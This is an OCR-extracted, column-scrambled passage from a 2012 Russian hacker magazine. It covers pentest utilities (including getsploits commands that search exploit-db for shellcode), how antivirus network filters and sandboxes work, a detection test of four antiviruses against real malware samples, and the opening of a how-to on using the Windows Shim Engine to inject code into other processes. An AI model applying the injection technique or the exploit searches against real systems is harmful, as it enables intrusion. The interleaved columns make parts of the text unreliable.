рые могут быть расположены как на Некоторые особенности утилиты:
одном, так и на соседних IP-адресах • работает с первой 1000 результа-
(это расширит список потенциаль- тов поиска Bing;
но уязвимых мест жертвы). Так как • помимо Бинга получает доменные
FindDomains работает в консоли, ты имена с помощью DNS;
легко сможешь встроить ее в свою • работает в многопоточном режиме;
пентестерскую автоматизированную • прекрасно работает с Mono.
систему.
Утилита использует движок Bing’а, Пользоваться утилитой очень просто:
поэтому для работы будет необхо- FindDomains.exe www.google.com
4 5 6
ANGRY IP SCANNER — СЕТИ ПОД ИЩЕМ АНОМАЛИИ В PE-ФАЙЛАХ ЮЗАЕМ БАЗУ EXPLOIT-DB.COM
КОНТРОЛЕМ ИЗ КОМАНДНОЙ СТРОКИ
Для усложнения задачи реверсера различные
Если твоя повседневная работа связана пакеры и протекторы модифицируют заголов- Если ты являешься заядлым консольщиком,
с сетями и их безопасностью, то наверняка ки PE-файлов. Иногда аномалии в заголовках то наверняка каждый раз в поисках экс-
ты должен знать о такой культовой програм- могут уронить различные дебаггинг-тулзы плойтов тебе было лениво открывать браузер
ме как Angry IP Scanner (или просто ipscan). и другие GUI-анализаторы, затруднив таким и залазить на exploit-db.com. С появлением
Данный кроссплатформенный и опенсорс- образом процесс изучения исполняемого фай- утилиты getsploits (кстати, написана она на
ный сканер прежде всего предназначен для ла. В таких случаях тебе поможет ExeScan — Питоне) необходимость в этом отпала! Данная
сканирования диапазонов IP-адресов в сети скрипт на Python’е, специально предназначен- тулза может искать определенные сплойты/
и соответствующих им открытых портов. ный для выявления таких аномалий. Утилита шелл-коды/описания сплойтов с помощью
Прога просто пингует каждый айпишник быстро сканирует выбранный исполняемый нескольких поисковых опций, а затем выво-
на проверку его жизнеспособности, затем файл и обнаруживает все виды возможных дить описания и линки для всего найденного
опционально получает имя хоста, MAC-адрес, аномалий в его заголовках. Обнаружение стаффа.
список открытых портов и так далее. происходит с помощью подсчета контрольной
Кстати, с помощью плагинов (которые ты сам суммы, размера различных полей в заголовке, Основные опции утилиты:
можешь написать на java) вполне реально не- размера сырых данных, выявления имен non- • o: вывод результатов в файл;
хило расширить список получаемых данных. ascii/пустых секций и так далее. • q: «тихий» режим работы;
Также в сканере присутствует целый ряд • h: показать экран помощи.
приятных фич вроде получения NetBIOS- Функционал скрипта:
информации (имя компьютера, рабочая группа • автоматизация поиска аномалий в PE; Опции поиска:
и имя текущего Windows-юзера), определения • определение сигнатур компиляторов и па- --author: — автор эксплойта;
веб-сервера, сохранения результатов скани- керов; --platform: — платформа (выбор из 47 пунктов);
рования в CSV-, TXT- и XML- форматы. • сканирование API для известной малвари; --type: тип сплойта
Чтобы начать процесс скана, необходимо • отображение заголовка PE и таблицы им- --osvdb: OSVDB-идентификатор сплойта;
просто вбить желаемый диапазон адресов порта; --cve: CVE-идентификатор сплойта.
(например, от 192.168.0.1 до 192.168.0.255) • нативная поддержка генерации различных
в соответствующие окна или применить отчетов. Примеры поиска различных эксплойтов:
опцию их случайной генерации, а затем на- Для использования сканера тебе необхо- getsploits.py -o linux_shellcode.txt
жать на кнопку старта. В результате начнется дима питоновская библиотека PEFile от Эро --type shellcode
многопоточный процесс скана, результаты Карреры. Найти ее ты также сможешь на на- getsploits.py -o freebsd_x86-64_local.
которого ты сможешь наблюдать прямо у себя шем диске. Пример запуска сканера: exescan. txt --platform 10
на экране. py -a <path to exe file. getsploits.py --author maxe vbulletin
ПОКОНЧЕНО!
С АНТИВИРУСАМИ
ПОСЛЕДНЯЯ СТАТЬЯ ОБ
УСТРОЙСТВЕ АВЕРОВ:
МОНИТОРИНГ СЕТЕВОЙ
АКТИВНОСТИ И ПЕСОЧНИЦЫ
074 ХАКЕР 04 /159/ 2012
С антивирусами покончено!
Перехваты IoCreateDevice в «Касперском» и DrWeb, перехват TdiRegisterDevi- Часть содержимого inf-файла драйвера фильтра klim6.sys из состава «Антивируса
ceObject из tdi.sys в «Касперском» шестой и седьмой версий Касперского»
Перехват NDIS-функций антивирусом от компании Comodo (вверху) и в OutPost FireWall Pro 7.0 (внизу)
уровне необходимо перехватывать все вызовы драйвер сетевой карты, поэтому антивирус или соко, да и такой фильтр-ловушка может быть
к устройствам \Device\RawIp, \Device\Udp и \ брандмауэр, «сидящий» на NDIS-уровне, пере- установлен в системе всего лишь один.
Device\Tcp (в случае работы по IPv6 — \Device\ хватывает практически весь трафик, который В этом вопросе все известные антивирусы
RawIp6, \Device\Udp6, \Device\Tcp6 соот- только проходит через компьютер. проявляют единодушие — чтут рекоменда-
ветственно). Это достигается либо вызовом Сегодня подавляющее большинство пра- ции компании–производителя операционных
IoAttachDevice, либо прямой модификацией вильных антивирусов контролируют трафик систем и третий способ в своих продуктах
указателей таблицы диспетчеризации, либо именно на этом уровне. Существует по мень- не применяют (хотя, говорят, встречаются
перехватом IoCreateDevice до инициализа- шей мере три более или менее документиро- производители, которые эти рекомендации
ции этих устройств, чтобы в дальнейшем ванных и легальных способа проделать это. игнорируют, но мне что-то такие антивирусы
полностью их контролировать. Некоторые из Первый способ (самый легальный из всех и ре- и брандмауэры не попадались).
антивирусов именно так и поступают. Напри- комендованный Microsoft к использованию) — Что касается оставшихся первых двух
мер, ранний «Касперский» перехватывал эту это так называемый NDIS Intermediate Driver способов, то подавляющее большинство
функцию путем модификации таблиц импорта (промежуточный драйвер NDIS). Второй способ применяют либо только первый, либо первый
в нужных драйверах, так же делает Dr.Web, (его еще иногда называют «псевдопромежу- в сочетании со вторым, и лишь некоторые до-
изменяя таблицу импорта в драйвере tcpip. точный драйвер») есть не что иное, как пере- вольствуются только вторым.
sys. Для этих же целей «Касперский» шестой хват некоторых функций из ndis.sys. Третий Промежуточные NDIS-драйверы в антиви-
и седьмой версий перехватывал функцию способ — Filter Hook Driver (драйвер фильтра русных программах могут быть двух видов: не-
TdiRegisterDeviceObject из tdi.sys, модифици- ловушки) представляет собой обычный kernel- посредственно промежуточный драйвер — как
руя таблицу экспорта этого драйвера. mode драйвер, который фильтрует сетевые правило, в Windows XP, так как других там и не
Далее, еще ниже, находится драйвер под пакеты на уровне IP. Microsoft категорически предусмотрено (NDIS версии 5), и драйвер-
названием NDIS (Network Driver Interface не рекомендует использовать этот способ фильтр — эта разновидность промежуточных
Specification — спецификация интерфейса в средствах контроля трафика и антивирусной NDIS-драйверов появилась начиная с Windows
сетевых драйверов). Ниже него — только защиты. Этот драйвер ставится слишком вы- Vista (NDISверсии 6).
Остановимся на различиях промежуточных
драйверов и драйверов-фильтров. Итак, когда
трафик движется в сеть, то есть от протокола
к сетевой карте, он проходит через очередь
пользовательских драйверов, которую сфор-
мировал NDIS. Внутри этой очереди распола-
гаются промежуточные драйверы, которые
выстраиваются в очередь по неизвестному
алгоритму, однако спецификация гарантирует,
что трафик пройдет через каждый драйвер
в этой очереди. Промежуточный драйвер пред-
ставляет собой обманку: «сверху», то есть для
драйверов, которые располагаются над ним,
он выглядит как минипорт (хотя настоящие
минипорты еще далеко внизу), а «снизу» — как
протокол (хотя протоколы далеко вверху).
В свою очередь драйвер-фильтр — это
драйвер, который располагается также на
пути следования трафика от сетевой карты до
протоколов, однако конкретное его местополо-
жение в очереди определяется настройками,
Модули BHO от «Антивируса Касперского» в Internet Explorer содержащимися в inf-файле этого драйвера-
Текст Java-скрипта в перехваченном http-трафике Обфусцированный вредоносный Java-скрипт под названием Trojan-Downloader.Js.Agent.
ghd (понять, что он делает, довольно затруднительно)
WWW
Про NDIS можно
почитать на vitki.net/
ru/story/vvedenie-v-
ndis (на русском) или
на msdn.microsoft.
com/en-us/library/
ff564881 (по-
английски)
DVD
Содержание двух
предыдущих статей
цикла ищи нашем
диске.
Замена стандартного обработчика Java-скриптов на собственный, Перехват некоторых функций из ntdll.dll, выполненный песочницей SandboxIE
выполненная «Антивирусом Касперского» (подложные функции находятся в библиотеке SbieDLL.dll)
то это повод навострить уши. Тем более, что программ с контролируемыми параметра- смотря на это, данный подход является основ-
iframe используется все реже и реже. ми многие объясняют аналогией с детской ным в большинстве продуктов (SandboxIE,
Что касается зашифрованных, обфусци- песочницей. Что ж, такая версия тоже имеет BufferZone, изолированные среды антивирусов
рованных или еще незнакомых антивирусу право на существование, но лично мне ближе Kaspersky Internet Security, Comodo Internet
вредоносных скриптов, то выходом является другая. У пожарных «песочницей» называется Security Pro, Avast Internet Security).
эмуляция их исполнения с последующим специальный бак с песком, в котором можно
анализом по сигнатурам или с помощью эври- безопасно экспериментировать с легковоспла- Изоляция на основе правил
стики. меняющимися веществами. Все попытки изменения объектов файловой
Для выполнения Java-скриптов исполь- В антивирусных песочницах можно выде- системы или реестра не виртуализируются,
зуется движок, который представляет собой лить три базовые модели изоляции простран- а рассматриваются с точки зрения набора вну-
DLL-модуль jscript.dll. Он находится обычно ства от всей остальной системы. тренних правил средства защиты. Недостаток
в папке %windir%\system32, содержит реали- такого подхода тот же, что и во втором случае
зацию набора COM-интерфейсов и использует- Изоляция на основе полной виртуализации — возможность выхода зловредного при-
ся IE для выполнения JS. В Windows опреде- Заключается в использовании движка ложения из-под контроля песочницы. Однако
лено три GUID (уникальных идентификаторов) виртуальной машины в качестве защитного в этом случае гораздо проще осуществлять
COM-объекта — движка интерпретатора слоя над гостевой операционной системой. обмен данными между контролируемой средой
скриптов Jscript. Это {f414c260-6ac0-11cf- Такой подход дает очень высокий уровень и основной системой. Пример — Windows User
b6d1-00aa00bbbb58}, {f414c261-6ac0-11cf- защиты основной рабочей системы. Недо- Account Control (хорошо всем известный и мно-
b6d1-00aa00bbbb58} и {f414c262-6ac0-11cf- статки очевидны — большой объем, большое гим надоедающий контроль учетных записей
b6d1-00aa00bbbb58}.Если поискать в реестре потребление ресурсов системы и сложность Windows).
эту строку, то можно увидеть, какой модуль обмена данными между основной системой В связи с тем, что наиболее широкое при-
зарегистрирован в качестве интерпретатора и песочницей. менение получил второй подход, стоит его
JavaScript. Как уже было упомянуто, обычно рассмотреть подробнее на примере широко
это jscript.dll. Но ничего не мешает антивирусу Изоляция на основе частичной виртуализа- распространенной песочницы SandboxIE. Фай-
подменить эту ветку реестра и зарегистри- ции файловой системы и реестра ловая система виртуализируется достаточно
ровать в системе свой обработчик скриптов, Совсем не обязательно использовать движок просто — путем создания дубликатов папки
который и будет выполнять анализ их вредо- виртуальной машины для изоляции выполне- текущего пользователя, дубликатов журна-
носности и «пущать или не пущать». ния программ. Можно просто подставлять про- лов транзакций общей файловой системы
Недостаток такой подмены в том, что цессам, запущенным в песочнице, не реальные и папок, имитирующих накопители (внутрен-
анализируются только скрипты, выполняе- объекты файловой системы и реестра, а их ние и внешние). Также создается дубликат
мые в браузерах, использующих стандартный дубликаты. Попытка их изменения приведет реестра.
JavaScript-движок Windows. к изменению лишь их копий внутри песочницы, После того как созданы дубликаты фай-
реальные данные не изменятся и не пострада- ловой системы и реестра, задача песочницы
КАК РАБОТАЕТ ПЕСОЧНИЦА ют. Основной недостаток такого вида песочниц сводится к перехвату всех функций работы
Почему-то происхождение названия «песоч- — пробои или обход, и в результате — выход с файлами и реестром. Если приложение,
ница» для изолированной среды исполнения вредоносного кода в основную систему. Не- обращающееся к реестру или пытающееся
создать/изменить какой-либо файл, запущено
не из-под песочницы, то управление пере-
дается оригинальным функциям. Если же
такое приложение выполняется в песочнице,
В АНТИВИРУСНЫХ ПЕСОЧНИЦАХ МОЖНО то вместо настоящего реестра и настояще-
го внешнего накопителя ему посредством
ВЫДЕЛИТЬ ТРИ БАЗОВЫЕ МОДЕЛИ перехваченных функций подсовываются их
дубликаты.
ИЗОЛЯЦИИ ПРОСТРАНСТВА ОТ ВСЕЙ Поскольку функций, с помощью которых
можно работать с файловой системой и рее-
ОСТАЛЬНОЙ СИСТЕМЫ стром, много, то и перехватов приходится де-
лать много. К примеру, SandboxIE производит эвристического анализатора. Так работают Для песочницы из состава Comodo Internet
перехват 56 функций из ntdll.dll, 68 функций из песочницы из состава большинства анти- Security основной режим — режим постоянной
user32.dll, 71 функции из advapi32.dll, 6 функ- вирусных продуктов (в частности Kaspersky защиты с эвристическим алгоритмом принятия
ций из kernel32.dll и 1 функции из ws_32.dll. Internet Security и Comodo Internet Security решения. Однако помимо этого существует
Теперь пара слов про методы принятия Pro). возможность ручного запуска приложений
решения о помещении выполняемого приложе- в песочнице.
ния в песочницу, а также о режимах ее работы. Что касается режимов работы, то их тоже
Методов принятия решения по большому счету два — режим постоянной защиты и режим ЗАКЛЮЧЕНИЕ
два. ручной защиты. В первом случае приложение Конечно, некоторые детали остались за
автоматически помещается в песочницу либо кадром, да и разработчики в антивирусных
На основе правил выполняется вне ее в зависимости от резуль- лабораториях все время изобретают что-то но-
Модуль принятия решения обращается к вну- тата работы модуля принятия решения при вое, пытаясь догнать и перегнать создателей
тренней базе правил запуска приложений и в старте приложения. Во втором — пользователь вредоносного программного обеспечения… Но
зависимости от них запускает приложения либо сам принимает решение о запуске процесса главное, что все эти антивирусные премудро-
в песочнице, либо в основной системе. Такой внутри песочницы. К примеру, для SandboxIE сти обрели порядок и свое место на много-
подход применяют SandboxIE, BufferZone. (песочница на основе частичной виртуализа- численных полочках в твоей голове. А там,
ции) основным режимом работы является ре- глядишь, и ты придумаешь что-нибудь такое,
На основе эвристических подходов жим ручной защиты, но при покупке лицензии что произведет революцию в антивирусном
В этом случае решение о запуске в песочнице можно активировать режим постоянной за- деле, и редактору придется выделять место
принимается на основе результатов работы щиты с принятием решения на основе правил. под новые статьи в нашем журнале. z
Общий принцип изоляции файловой системы в SandboxIE Виртуализация файловой системы в SandboxIE (в папке drive находятся папки, имитирующие внешние накопители)
INFO
В случае использо-
ОБЛАЧНЫЕ ТЕХНОЛОГИИ НА АНТИВИРУСНОЙ СЛУЖБЕ вания песочниц для
изоляции выполняе-
мого кода следует
помнить, что многие
Началом применения облачных технологий в антивирусном еще не скачана, автоматически происходит обновление баз. из них виртуализи-
руют далеко не всю
деле можно, наверное, считать предоставление В сигнатурах содержится не только часть тела вируса или его систему. Как пра-
антивирусными компаниями возможности онлайн-проверки хэш, но и некоторые типичные сценарии поведения, которые вило, это несколько
файлов на вредоносность. Эта возможность существует позволяют однозначно определить вредоносность программы. критически важных
объектов, например:
и по сей день, но под облачными технологиями в сфере В антивирусах от компании Comodo та же самая фигня носит папки Program
антивирусной защиты сегодня понимается уже совсем название «Облачный анализ поведения приложений», и с Files, Windows,
Users\%AllUse-
другое. Почти все крупные антивирусные компании его помощью подозрительные файлы отправляются на rsProfile%\Program
используют облака в качестве огромной антивирусной базы, дополнительный анализ. Data, Documents
причем фактически пополняемой самими пользователями, Говоря про облачные технологии в сфере борьбы and Setting и ветвь
реестра HKLM\
давшими согласие на участие в программе пополнения с вредоносными программами, нельзя не упомянуть Software.
и уточнения информации о вредоносных и потенциально «Лабораторию Касперского» с ее Kaspersky Secu-
Про обфускацию
вредоносных объектах. В разных антивирусных компаниях rity Network. KSN — сеть информационной безопасности, Java-скриптов очень
это называется по-разному. У Microsoft Security Essential позволяющая пользователям получать оперативные хорошо написано
— «Служба динамических сигнатур DSS (Dynamic Signature данные о репутации программ и веб-сайтов, оперативно в статье «JavaScript:
игры в прятки»
Service)». Если на выходе проактивной защиты файл будет реагируя на появление новых угроз. С помощью KSN в новых в девятом номере ][
расценен как подозрительный (к примеру, пытается изменить антивирусных программах от «Лаборатории Касперского» за 2011 год.
системные файлы), но сигнатурный анализатор на него реализованы функции веб-фильтра, антифишинговый
никак не отреагировал, то создается профиль этого файла, модуль, функция контроля программ (рейтингование софта
который отсылается для анализа в специальные сервисы по признакам опасности при назначении доступа к ресурсам
Microsoft — DSS, SpyNet и MRS (Microsoft Reputation Services). ПК и персональным данным) и модуль анти-спам, который
В случае, когда в базе обновления сигнатура уже есть, но она обращается в KSN за образцами спам-писем.
Неизвестная
угроза
ИСПЫТЫВАЕМ ЭВРИСТИКУ
АВЕРОВ НА САМЫХ НОВЫХ
ВИРУСАХ
Как известно, антивирусное ПО работает в полную силу
только в том случае, если своевременно получает свои
апдейты. Об этом догадываются и вирмейкеры, которые
выпускают новые версии зловредов чуть ли не каждый день.
Сегодня мы проверим, насколько хорошо аверы справятся
с самыми свежими экземплярами вирусов и троянов,
которых еще нет у них в базах.
егодняшние испытания мы будем граммного обеспечения. Вирмейкеры в своих (три из которых были пожаты UPX) и два зага-
C проводить на реальных зловредах,
которых написали реальные киберз-
ТЗ выделяют Авиру в отдельный пункт, а по
уровню причиняемой головной боли этого
дочных файла с расширением lpe, которые из-
нутри были похожи один на pdf, а другой — на
лодеи для своих реальных киберзлодейских авера можно сравнить разве что с IE6, который zip-архив. Всего получилось десять зловредов.
нужд. Напомним, что для всех наших предыду- портит нервы добрым и трудолюбивым вер- Само тестирование у нас будет проходить
щих тестов мы писали собственные сэмплы, стальщикам и web-кодерам. в два этапа. На первом этапе мы натравим
которые хоть и не были настоящими зловреда- антивирусы с несвежими базами на найденные
ми, но усиленно старались ими представиться. УСЛОВИЯ ТЕСТИРОВАНИЯ трояны и запишем результат. Таким образом мы
Настоящие же трояны должны показать, кто Для тестов мы засетапили на вируталку све- проверим, насколько хорошо аверы справляют-
из производителей антивирусных программ женькую Windows XP sp3 со всеми апдейтами, ся с новым, неизвестным им вредоносным ПО.
лучше отрабатывает деньги, с таким трудом а затем начали устанавливать антивирусы, Вторая часть испытаний состоится через неде-
добываемые их клиентами. Но чтобы проверка попутно создавая снапшоты виртуальной лю после первой. Мы дадим антивирусам время
была еще хардкорней, мы раздобыли пачку машины для каждого из аверов, чтобы они на обнаружение и детект наших зловредов, за-
самых свежих представителей патогенной не мешали друг другу. Затем мы быстренько тем обновим базы и просканим вредоносов еще
киберфауны, а для большей надежности еще проапдейтили базы сигнатур до актуального раз. Это позволит нам узнать, насколько плохо
и отключили автообновление наших испытуе- состояния и оставили все это хозяйство на не- противовирусное ПО справилось в первый раз.
мых примерно за неделю до отлова зловредов. делю в темном прохладном месте без интер-
Кстати, об испытуемых антивирусах. Сегод- нета, чтобы наши испытуемые ненароком не НАЧИНАЕМ ТЕСТИРОВАНИЕ
ня к нам в лабораторию попало следующее за- обновились. Итак, мы подождали, пока антивирусные базы
щитное ПО: Kaspersky CRYSTAL, Dr.Web Security Через неделю мы пошли за свежей малва- достаточно устареют, и начали тестирование.
Space, ESET NOD32 Smart Security 5 и Avira Free рью — описание этой разношерстной компании Сегодня аверы будут идти в алфавитном поряд-
Antivirus. Все претенденты на звание лучшего ты можешь видеть на врезке. ке, поэтому первым пойдет Avira Free Antivirus.
из лучших (или, наоборот, худшего из худших) Но кое-какую исследовательскую работу Для чистоты эксперимента мы вообще вы-
нам уже давно знакомы. Стоит сказать лишь мы все-таки провели — открыли вирусные дернули сетевой кабель из машины, на которой
про ПО от немцев — пусть тестируемая версия файлики в hex-редакторе и посмотрели на них собираемся проводить тесты, — современные
Avira и бесплатная, но она давно считается с полминутки. В итоге мы смогли рассмотреть антивирусы очень любят скрытно обновлять
одним из самых параноидальных антивирусов два swf-файла, один Visual Basic Script, один себя, сливать инфу о файлах на свои сервера
среди современного зоопарка защитного про- Java-скрипт, четыре исполняемых exe-файла и использовать всякие облачные технологии.
Dr.Web справился с неизвестной ему угрозой лучше всех Результаты Каспера без обновленных баз
Доктор Веб совсем плох, свежие базы сигнатур ему не помогли Kaspersky отжог: total detection
Поэтому, чтобы все было честно, доступ к сети качественно выделить сигнатуры, мы не знаем, уже под другим именем (HEUR:Trojan.Win32.
был жестко ограничен. Также мы отключили но факт остается фактом, — трой обнаружен. Generic). Программка-загрузчик своих старших
файловые мониторы и прочие фоновые про- Остальные два детекта — это эксплоиты. братьев стабильно детектится нашими анти-
верки, чтобы эти компоненты защитного ПО не Первый эксплуатирует уязвимость в формате вирусами. Второй угрозой был pdf-эксплоит,
мешали скопировать наш минизверинец на ПК. pdf, о чем недвусмысленно говорит название обнаруженный Доктором Вебом, но имя по вер-
Но вернемся к испытаниям. Распаковав ар- вируса (Exploit.PDF.2633), а второй покушается сии Лаборатории Касперского у него немного
хивчик со зловредами в специально отведен- на Flash — Exploit.SWF.193. Стоит напомнить, другое — HEUR:Exploit.Script.Generic. Видно,
ную для них директорию, мы кликнули по этой что у нас было два swf-файла, но опасным что в обоих случаях отработала эвристика, но
директории правой кнопкой мыши и выбрали был признан только один. Так же следует непонятно, почему в отчете нет информации
пункт Scan. Не слишком расторопная Авира сказать, что эксплоиты обычно не содержат о третьем опасном файле, ведь в первоначаль-
немного призадумалась, но затем все же заня- какого-либо вредоносного кода, а служат лишь ных результатах говорилось о трех угрозах.
лась сканированием, после чего выдала окно для загрузки настоящих вирусов. Avira Free Мы не можем сказать, был ли детект третьего
с результатами. Из десяти вредоносных файлов Antivirus не обнаружил этих файлов — возмож- зверька, а потому засчитываем только два
Avira обнаружила только один, обозвав его DR/ но, потому что понадеялся перехватить более положительных срабатывания эвристики, что
Delphi.Gen. Благодаря гуглу, официальному серьезную угрозу (но, как оказалось в итоге, дает нам результат 2/10.
сайту и помощи Капитана Очевидность мы сделать этого не смог). Доктор Веб же поступил Последним идет NOD32. Сканирование
выяснили, что своему детекту зловред обязан более продуманно, попытавшись обезвредить все тех же файлов завершилось сообщением
эвристическому движку антивируса. Таким об- заразу на ранних этапах наступления. Trojan. об одной найденной угрозе. Самые догадли-
разом, эвристика сработала, но не совсем так, MulDrop.20121 также является загрузчиком вые уже, наверное, поняли, что это был тот
как того хотелось бы германским программи- других вирусов. самый exe-загрузчик, который попался трем
стам. Результат 1/10 хоть и лучше, чем ничего, Итак, Dr.Web обнаружил три угрозы из предыдущим антивирусам. На этот раз его имя
но как-то не внушает особенного оптимизма. десяти, что лучше, чем у немецкого антивируса, было Win32/Injector.FP. К сожалению, мы так
Следующим идет Dr.Web Security Space. но все равно недостаточно хорошо для защиты и не смогли понять, сработала ли тут сигна-
Зеленый паук был натравлен на ту же самую системы. Следующий у нас в списке Kaspersky тура в базе или эвристический движок, но
папку. Сканирование прошло быстро, и его CRYSTAL. Забегая вперед, скажем, что его одно очевидно: результат 1 из 10 — это плохой
результаты оказались получше, чем у пред- результаты нельзя трактовать однозначно, но результат.
шественника. Главной угрозой стал все тот обо всем по порядку.
же DR/Delphi.Gen, но уже с новым именем После сканирования вирусной директории ВТОРОЙ ЭТАП ИСПЫТАНИЙ
— Trojan.MulDrop.20121. Судя по названию, мы получили сообщение, говорящее нам о трех После того, как мы протестили аверов не-
файлик был обнаружен с помощью конкретной обнаруженных угрозах. Чтобы рассмотреть известными для них троянами, мы оставили
сигнатуры, которая была в базе уже довольно получше, что же там нашел каспер, мы решили их в покое на недельку, а потом обновили
давно. Число 20121, видимо, означает размер взглянуть на подробный отчет, но тут нас ждал базы сигнатур. За неделю любой уважающий
вредоноса, но у нашего зверька этот размер сюрприз — в табличке с найденными злов- себя антивирус должен переловить всех на-
немного отличается — 20992 байт. Повезло редами было всего два файла. Первый — это ших зловредов и научиться безжалостно их
доктору, или ему действительно удалось так уже хорошо известный нам DR/Delphi.Gen, но уничтожать. Ну что же, проверим, так ли это
Скромные результаты Avira Free Antivirus После обновления у Авиры все намного лучше NOD32 обновился и нашел шесть зловредов
на самом деле. Со свежими базами Авира по- чие разоблачающие действия, которые были получают Avira и ESET (кубок один, потому
казала себя ровно в шесть раз лучше, чем на выполнены в процессе проверки. В итоге пусть они сами решают, у кого на полочке
первом этапе, но четыре файла так и не были Kaspersky Crystal со свежими базами обна- он будет стоять). Всего один обнаруженный
идентифицированы спустя неделю после их ружил все десять зловредов, большинство зловред в первом испытании — это чу ть
выхода в дикую природу. Также интересно, из которых были уничтожены в первые же лучше, чем ничего, а шесть троянов после
что Avira обнаружила pdf-эксплоит, который секунды, хотя два файла по непонятным нам обновления баз можно назвать улучшением
ранее не видела, хотя его коллеги ругались причинам так и остались лежать на жестком сит уации на 600% или «ваша система все
на него в первую очередь. JS, который неде- диске. Такой результат заслуживает уважения, равно будет инфицирована, даже если вы
лю назад не обнаруживался ни одним авером, которое, однако, может быстро рассеяться, рег улярно обновляетесь».
на этот раз попал в поле зрения немецкого если мы вспомним результаты первой части Кубок «За лучшие базы сигнатур» по-
защитного ПО, назвавшего его HTML/Dlcr. тестирования. лучает антивирус Касперского, 10/10 — это
Dawn.C.2. Остальные детекты — это exe- ESET NOD32 выступил с результатом, иден- действительно впечатляет. Правда, если ты
файлы, а swf-эксплоиты были отпущены на тичным Авире — шесть из десяти. Правда, на- схватишь совсем свеженький вирус (а настоя-
свободу. Шесть из десяти — таков результат бор детектируемых файлов немного отличался щие киберзлодеи об этом позаботятся), то тебе
Avira Free Antivirus со свежими базами. — больше эксплоитов, меньше exe-файлов, — скорее всего захочется расколотить этот кубок
Теперь очередь Dr.Web. После обновле- но это не особенно влияет на общую оценку. об голову победителя.
ния баз мы не увидели такого прогресса, как А теперь настало время для подведения Антивирусу Dr.Web достается сразу два
у предыдущего антивируса. Всего лишь четыре итогов. кубка: «За самую отчаянную борьбу с неиз-
из десяти: к списку вредоносов добавился один вестными доселе зловредами» и «За самый
исполняемый файл, который окрестили как НАГРАЖДЕНИЕ отстойный детект с обновленными базами».
Trojan.SMSSend.1950. Больше ничего подозри- Мы решили, что называть лучшего в этих Слишком медленно добавляете сигнатуры,
тельного доктор не обнаружил. испытаниях будет не совсем правильно, господа, слишком медленно.
Касперский проявил себя иначе. Просканив поэтому вместо первого, второго и так да- На этом мы прощаемся с тобой и спуска-
директорию с вирусами, он выдал неприлично лее мест мы раздадим кубки за достижения емся обратно в наш подвал-лабораторию, где
большое число инфицированных объектов, в различных номинациях. Первый кубок — займемся новыми бесчеловечными опытами
что скорее всего означает распаковку и про- «За самые посредственные результаты» — и тестами. z
Чтобы тестирование было максимально честным, мы собрали требующего оплаты за разблокировку. Не отказались мы и от
представителей самых разных областей зловредного мира. Один мобильного сектора — троянец, отправляющий СМС на платные
из вредоносов «выбрасывает из себя» множество разнообразной номера, тоже попал в исследование. Кроме того в тесте участвовала
малвари — троянцев, бэкдоров и прочей нечисти. Этим и объясняется мошенническая программа, относящаяся к категории «платных
удивившее автора расхождение в количестве детектов. Другой вообще архивов» (такие программы требуют отправить СМС на премиум-номер
представляет собой скрипт на языке VBS, основными назначениями якобы за получение доступа к заархивированному файлу). Также был
которого являются загрузка и запуск другого троянца. Еще в файлах, протестирован PDF-эксплойт, вариации которого широко используются
участвующих в тесте, присутствовал эксплойт, эксплуатирующий CVE- в эксплойт-паках для проведения drive-by атак. Наконец, в тесте
201-0611. Скриптовый троян-загрузчик, аналогичный вышеописанному, участвовали троянец, выполняющий множество деструктивных
но созданный на JS, тоже попал в выборку. Не обошлось и без действий, и вредоносный flash-файл, осуществляющий загрузку
winlocker'а — вредоноса, блокирующего работу системы, а затем и запуск зловреда.
TRUE-КРИПТОВАНИЕ
088 Сегодня у нас сложная задача — сделать
шифровалку данных, которая позволя-
ла бы создавать невидимые в системе
контейнеры и использовала собствен-
ный криптографический алгоритм. За
основу мы возьмем известную программу
TrueCrypt, которая распространяется с
открытыми исходниками. Убедившись в
отсутствии в ней закладок, мы создадим
«доверенный» билд утилиты, в котором
точно будет все ок. Недоверие к зару-
бежным шифрам и здоровый патриотизм
наталкивают на мысль реализовать
отечественные криптографические ал-
горитмы, которые во многом не уступают
зарубежным аналогам. Этим и займемся,
благо сделать это не сильно-то и сложно.
КОДИНГ UNIXOID
SHIM: НОВЫЙ МЕТОД ИНЖЕКТА ЗВЕНЬЯ ОДНОЙ ЦЕПИ БИТВЫ ЗЕЛЕНЫХ РОБОТОВ
084 Способы инжекта кода в атакуемое при- 106 Одним из главных новшеств ядра Linux 111 Стандартная прошивка для Android-
ложение давно известны. Однако оста- версии 2.6 стала поддержка виртуальной смартфона — удел тети Клавы, когда есть
лись такие технологии как Shim Engine, файловой системы sysfs. Как это может мощные альтернативные firmware в лице
которые еще могут тебя удивить. быть полезно обычным пользователям? CyanogenMod и MIUI.
SYN\ACK FERRUM
SHIM:
новый метод инжекта
Существует множество способов инжекта кода в атакуемое
ИСПОЛЬЗОВАНИЕ приложение, это и правка импорта сторонней dll, и атака
SHIM ENGINE ДЛЯ типа dll redirection, и создание удаленного потока, и посылка
apc с адресом LoadLibrary. Способов уйма, но все эти
ВНЕДРЕНИЯ КОДА способы довольно хорошо известны. Можно ли удивить чем-
то искушенного читателя? Попробуем.
И АВТОЗАГРУЗКИ
ЧТО ТАКОЕ SHIM’Ы ? дут заменены функции в таблице импорта приложения some.exe. То
Shim Engine — это технология для обеспечения совместимости есть механизм обратной совместимости в Windows обеспечивается
старших версий Windows с младшими, реализованная в различ- банальным перехватом API.
ных dll, а также через некоторые калбеки и хаки в PE-загрузчике Использование шимов позволяет очень многое, от простых
библиотеки ntdll.dll. вещей вроде добавления флагов в PEB, до виртуализации реестра
На уровне пользователя посмотреть на режимы совместимости и полного изменения поведения Heap Manager’a.
можно на соответствующей вкладке свойств любого исполняемого К примеру, шим, виртуализирующий реестр, перехватывает
файла: практически все функции работы с реестром в ADVAPI32.DLL:
Далее мы разберемся, как работает Shim Engine и как его мож- [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\
но использовать в наших целях, а цели у нас простые – загрузить CurrentVersion\AppCompatFlags\Layers]
свой код в чужой процесс. "C:\\Documents and Settings\\Admin\\Рабочий стол\\test.
exe"="WIN2000"
ИССЛЕДУЕМ ШИМЫ
Чтобы понаблюдать работу шимов, можно включить режим Как видишь, она указывает, что для test.exe должен при-
логирования. Для этого надо установить системную переменную меняться шим Win2000. Вероятно, это значит, что мы можем
окружения SHIMENG_DEBUG_LEVEL равной 4 и перезагрузиться устанавливать режим совместимости любому приложению при-
(перезагрузка требуется при любых изменениях или добавлениях нудительно. Это нам пригодится. Однако для внедрения своего
системных переменных окружения). кода мы должны не столько прописать, сколько установить для
